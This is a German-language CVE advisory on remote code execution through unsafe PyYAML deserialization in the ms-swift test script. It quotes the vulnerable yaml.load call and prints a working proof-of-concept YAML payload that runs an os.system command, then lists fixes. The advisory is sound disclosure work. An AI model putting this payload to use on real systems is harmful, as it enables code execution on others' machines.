CVE-2025-50460: Remote-Code-Ausführung in modelscope/ms-swift durch unsichere PyYAML-Deserialisierung

Status: Analyse ausstehend
Dieser CVE-Eintrag wurde für NVD-Anreicherungsmaßnahmen markiert.

Ein Remote-Code-Ausführung (RCE)-Sicherheitsproblem existiert im ms-swift-Projekt Version 3.3.0 aufgrund unsicherer Deserialisierung in tests/run.py unter Verwendung von yaml.load() aus der PyYAML-Bibliothek (Versionen ≤ 5.3.1). Wenn ein Angreifer den Inhalt der YAML-Konfigurationsdatei kontrollieren kann, die dem Parameter --run_config übergeben wird, kann beliebiger Code während der Deserialisierung ausgeführt werden. Dies kann zu einer vollständigen Kompromittierung des Systems führen. Die Sicherheitslücke wird ausgelöst, wenn eine bösartige YAML-Datei geladen wird, wodurch die Ausführung beliebiger Python-Befehle wie os.system() möglich wird. Es wird empfohlen, PyYAML auf Version 5.4 oder höher zu aktualisieren und yaml.safe_load() zu verwenden, um das Problem zu entschärfen.

Beschreibung

Ein Remote-Code-Ausführung (RCE)-Sicherheitsproblem existiert im modelscope/ms-swift-Projekt aufgrund der unsicheren Verwendung von yaml.load() in Kombination mit anfälligen Versionen der PyYAML-Bibliothek (≤ 5.3.1). Das Problem befindet sich im Skript tests/run.py, wo eine benutzerbereitgestellte YAML-Konfigurationsdatei mit yaml.load() und yaml.FullLoader deserialisiert wird.

Wenn ein Angreifer die an das Argument --run_config übergebene YAML-Konfigurationsdatei kontrollieren oder ersetzen kann, kann er eine schädliche Nutzlast injizieren, die zur Ausführung beliebigen Codes führt.

Betroffenes Repository

• Projekt: modelscope/ms-swift
• Betroffene Versionen: neueste
• Datei: tests/run.py
• GitHub-Permalink: https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
• Abhängigkeit: PyYAML ≤ 5.3.1

Angreifbarer Code

if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Beweis des Konzepts (PoC)

Schritt 1: Erstellen einer schädlichen YAML-Datei (exploit.yaml)

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Schritt 2: Ausführen mit anfälligem PyYAML (≤ 5.3.1)

import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

Dies führt zur Ausführung von os.system, was die Code-Ausführung beweist.

Abhilfemaßnahmen

• Ersetzen Sie yaml.load() durch yaml.safe_load()
• Aktualisieren Sie PyYAML auf Version 5.4 oder höher

Beispiel für die Korrektur:

# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

CVE-Status

Autor

• Entdeckt von: Yu Rong (戎誉) und Hao Fan (凡浩)
• Kontakt: [[email protected] ]